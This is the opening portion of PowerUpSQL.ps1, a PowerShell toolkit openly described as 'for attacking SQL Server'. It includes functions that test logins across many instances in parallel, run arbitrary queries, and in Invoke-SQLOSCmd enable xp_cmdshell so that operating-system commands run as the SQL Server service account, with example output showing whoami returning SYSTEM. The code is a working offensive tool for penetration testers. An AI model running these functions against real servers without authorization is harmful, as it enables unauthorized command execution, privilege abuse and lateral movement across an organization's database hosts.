#requires -Modules DnsClient, Microsoft.PowerShell.Utility #requires -version 3 <# File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Contributors: Antti Rantasaari and Eric Gruber Version: 1.0.0.24 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.3 Optional Dependencies: None #> ######################################################################### # #region CORE FUNCTIONS # ######################################################################### # ---------------------------------- # Get-SQLConnectionObject # ---------------------------------- # Author: Scott Sutherland # Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx Function Get-SQLConnectionObject { <# .SYNOPSIS Creates a object for connecting to SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Database Default database to connect to. .EXAMPLE PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword StatisticsEnabled : False AccessToken : ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 ConnectionTimeout : 1 Database : Master DataSource : SQLServer1 PacketSize : 8000 ClientConnectionId : 00000000-0000-0000-0000-000000000000 ServerVersion : State : Closed WorkstationId : SQLServer1 Credential : FireInfoMessageEventOnUserErrors : False Site : Container : #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Dedicated Administrator Connection (DAC).')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 ) Begin { # Setup DAC string if($DAC) { $DacConn = 'ADMIN:' } else { $DacConn = '' } # Set database filter if(-not $Database) { $Database = 'Master' } } Process { # Check for instance if ( -not $Instance) { $Instance = $env:COMPUTERNAME } # Create connection object $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection # Check for username and password if($Username -and $Password) { # Setup connection string with SQL Server credentials $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" } else { # Get connecting user $UserDomain = [Environment]::UserDomainName $Username = [Environment]::UserName $ConnectionectUser = "$UserDomain\$Username" # Status user Write-Debug -Message "Attempting to authenticate to $DacConn$Instance as current Windows user ($ConnectionectUser)..." # Setup connection string with trusted connection $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" <# # Check for provided credential if ($Credential){ $Username = $credential.Username $Password = $Credential.GetNetworkCredential().Password # Setup connection string with SQL Server credentials $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" } #> } # Return the connection object return $Connection } End { } } # ---------------------------------- # Get-SQLConnectionTest # ---------------------------------- # Author: Scott Sutherland Function Get-SQLConnectionTest { <# .SYNOPSIS Tests if the current Windows account or provided SQL Server login can log into an SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .EXAMPLE PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" .EXAMPLE PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('Status') } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." Write-Verbose -Message " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } End { # Return Results $TblResults } } # ---------------------------------- # Get-SQLConnectionTestThreaded # ---------------------------------- # Author: Scott Sutherland Function Get-SQLConnectionTestThreaded { <# .SYNOPSIS Tests if the current Windows account or provided SQL Server login can log into an SQL Server. This version support threading using runspaces. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .PARAMETER Threads Number of concurrent threads. .EXAMPLE PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Threads 15 .EXAMPLE PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Threads 15 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('Status') # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { # Setup instance $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." #Write-Verbose " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblResults } } # ---------------------------------- # Get-SQLQuery # ---------------------------------- # Author: Scott Sutherland Function Get-SQLQuery { <# .SYNOPSIS Executes a query on target SQL servers.This .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .PARAMETER Threads Number of concurrent threads. .PARAMETER Query Query to be executed on the SQL Server. .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server query.')] [string]$Query, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [int]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError ) Begin { # Setup up data tables for output $TblQueryResults = New-Object -TypeName System.Data.DataTable } Process { # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Parse SQL Server instance name $ConnectionString = $Connection.Connectionstring $Instance = $ConnectionString.split(';')[0].split('=')[1] # Check for query if($Query) { # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Setup SQL query $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) # Grab results $Results = $Command.ExecuteReader() # Load results into data table $TblQueryResults.Load($Results) # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed - for detail error use Get-SQLConnectionTest if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } if($ReturnError) { $ErrorMessage = $_.Exception.Message #Write-Verbose " Error: $ErrorMessage" } } } else { Write-Output -InputObject 'No query provided to Get-SQLQuery function.' Break } } End { # Return Results if($ReturnError) { $ErrorMessage } else { $TblQueryResults } } } # ---------------------------------- # Get-SQLQueryThreaded # ---------------------------------- # Author: Scott Sutherland Function Get-SQLQueryThreaded { <# .SYNOPSIS Executes a query on target SQL servers.This version support threading using runspaces. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .PARAMETER Threads Number of concurrent host threads. .PARAMETER Query Query to be executed on the SQL Server. .EXAMPLE PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLQueryThreaded -Verbose -Query "Select @@version" -Threads 15 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $true, HelpMessage = 'Query to be executed.')] [String]$Query, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Setup SQL query $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) # Grab results $Results = $Command.ExecuteReader() # Load results into data table $TblResults.Load($Results) # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." #Write-Verbose " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblResults } } #endregion ######################################################################### # #region COMMON FUNCTIONS # ######################################################################### # ---------------------------------- # Invoke-SQLOSCmd # ---------------------------------- # Author: Scott Sutherland Function Invoke-SQLOSCmd { <# .SYNOPSIS Execute command on the operating system as the SQL Server service account using xp_cmdshell. Supports threading, raw output, and table output. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .PARAMETER Threads Number of concurrent threads. .PARAMETER Command Operating command to be executed on the SQL Server. .PARAMETER RawResults Just show the raw results without the computer or instance name. .EXAMPLE PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "dir c:\windows\system32\drivers\etc\" -RawResults VERBOSE: Creating runspace pool and session states VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : You are a sysadmin. VERBOSE: SQLServer1 : Show Advanced Options is disabled. VERBOSE: SQLServer1 : Enabled Show Advanced Options. VERBOSE: SQLServer1 : xp_cmdshell is disabled. VERBOSE: SQLServer1 : Enabled xp_cmdshell. VERBOSE: SQLServer1 : Running command: dir c:\windows\system32\drivers\etc\ VERBOSE: SQLServer1 : Disabling xp_cmdshell VERBOSE: SQLServer1 : Disabling Show Advanced Options Volume in drive C is OSDisk Volume Serial Number is C044-F8BC VERBOSE: Closing the runspace pool output ------ Directory of c:\windows\system32\drivers\etc 06/22/2016 09:09 AM . 06/22/2016 09:09 AM .. 09/22/2015 10:16 AM 851 hosts 08/22/2013 10:35 AM 3,683 lmhosts.sam 08/22/2013 08:25 AM 407 networks 08/22/2013 08:25 AM 1,358 protocol 08/22/2013 08:25 AM 17,463 services 5 File(s) 23,762 bytes 2 Dir(s) 56,438,497,280 bytes free .EXAMPLE PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLSERVER1.domain.com,1433" -Command "whoami" Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "whoami" VERBOSE: Creating runspace pool and session states VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : You are a sysadmin. VERBOSE: SQLServer1 : Show Advanced Options is disabled. VERBOSE: SQLServer1 : Enabled Show Advanced Options. VERBOSE: SQLServer1 : xp_cmdshell is disabled. VERBOSE: SQLServer1 : Enabled xp_cmdshell. VERBOSE: SQLServer1 : Running command: whoami VERBOSE: SQLServer1 : Disabling xp_cmdshell VERBOSE: SQLServer1 : Disabling Show Advanced Options VERBOSE: Closing the runspace pool ComputerName Instance CommandResults ------------ -------- -------------- SQLServer1 SQLServer1 nt service\mssqlserver .EXAMPLE PS C:\> Get-SQLInstanceDomain | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5 Get-SQLInstanceLocal | Invoke-SQLOSCmd -Verbose -Command "whoami" VERBOSE: Creating runspace pool and session states VERBOSE: SQLServer1\SQLEXPRESS : Connection Success. VERBOSE: SQLServer1\SQLEXPRESS : Connection Success. VERBOSE: SQLServer1\SQLEXPRESS : You are a sysadmin. VERBOSE: SQLServer1\SQLEXPRESS : Show Advanced Options is already enabled. VERBOSE: SQLServer1\SQLEXPRESS : xp_cmdshell is already enabled. VERBOSE: SQLServer1\SQLEXPRESS : Running command: whoami VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success. VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success. VERBOSE: SQLServer1\STANDARDDEV2014 : You are a sysadmin. VERBOSE: SQLServer1\STANDARDDEV2014 : Show Advanced Options is already enabled. VERBOSE: SQLServer1\STANDARDDEV2014 : xp_cmdshell is already enabled. VERBOSE: SQLServer1\STANDARDDEV2014 : Running command: whoami VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : Connection Success. VERBOSE: SQLServer1 : You are a sysadmin. VERBOSE: SQLServer1 : Show Advanced Options is disabled. VERBOSE: SQLServer1 : Enabled Show Advanced Options. VERBOSE: SQLServer1 : xp_cmdshell is disabled. VERBOSE: SQLServer1 : Enabled xp_cmdshell. VERBOSE: SQLServer1 : Running command: whoami VERBOSE: SQLServer1 : Disabling xp_cmdshell VERBOSE: SQLServer1 : Disabling Show Advanced Options VERBOSE: Closing the runspace pool ComputerName Instance CommandResults ------------ -------- -------------- SQLServer1 SQLServer1\SQLEXPRESS nt service\mssql$sqlexpress SQLServer1 SQLServer1\STANDARDDEV2014 nt authority\system SQLServer1 SQLServer1 nt service\mssqlserver #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $true, HelpMessage = 'OS command to be executed.')] [String]$Command, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 1, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, [Parameter(Mandatory = $false, HelpMessage = 'Just show the raw results without the computer or instance name.')] [switch]$RawResults ) Begin { # Setup data table for output $TblCommands = New-Object -TypeName System.Data.DataTable $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('CommandResults') # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Switch to track xp_cmdshell status $DisableShowAdvancedOptions = 0 $DisableXpCmdshell = 0 # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin # Check if xp_cmdshell is enabled if($IsSysadmin -eq 'Yes') { Write-Verbose -Message "$Instance : You are a sysadmin." $IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value } else { Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') return } # Enable show advanced options if needed if ($IsShowAdvancedEnabled -eq 1) { Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." } else { Write-Verbose -Message "$Instance : Show Advanced Options is disabled." $DisableShowAdvancedOptions = 1 # Try to enable Show Advanced Options Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Check if configuration change worked $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value if ($IsShowAdvancedEnabled2 -eq 1) { Write-Verbose -Message "$Instance : Enabled Show Advanced Options." } else { Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') return } } # Enable xp_cmdshell if needed if ($IsXpCmdshellEnabled -eq 1) { Write-Verbose -Message "$Instance : xp_cmdshell is already enabled." } else { Write-Verbose -Message "$Instance : xp_cmdshell is disabled." $DisableXpCmdshell = 1 # Try to enable xp_cmdshell Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Check if configuration change worked $IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value if ($IsXpCmdshellEnabled2 -eq 1) { Write-Verbose -Message "$Instance : Enabled xp_cmdshell." } else { Write-Verbose -Message "$Instance : Enabling xp_cmdshell failed. Aborting." # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable xp_cmdshell.') return } } # Setup OS command Write-Verbose -Message "$Instance : Running command: $Command" #$Query = "EXEC master..xp_cmdshell '$Command' WITH RESULT SETS ((output VARCHAR(MAX)))" $Query = "EXEC master..xp_cmdshell '$Command'" # Execute OS command $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output # Display results or add to final results table if($RawResults) { $CmdResults } else { $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults) } # Restore xp_cmdshell state if needed if($DisableXpCmdshell -eq 1) { Write-Verbose -Message "$Instance : Disabling xp_cmdshell" Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } # Restore Show Advanced Options state if needed if($DisableShowAdvancedOptions -eq 1) { Write-Verbose -Message "$Instance : Disabling Show Advanced Options" Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." #Write-Verbose " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblResults } } # ---------------------------------- # Get-SQLServerInfo # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerInfo { <# .SYNOPSIS Returns basic server and user information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DomainName : Domain ServiceName : MSSQL$STANDARDDEV2014 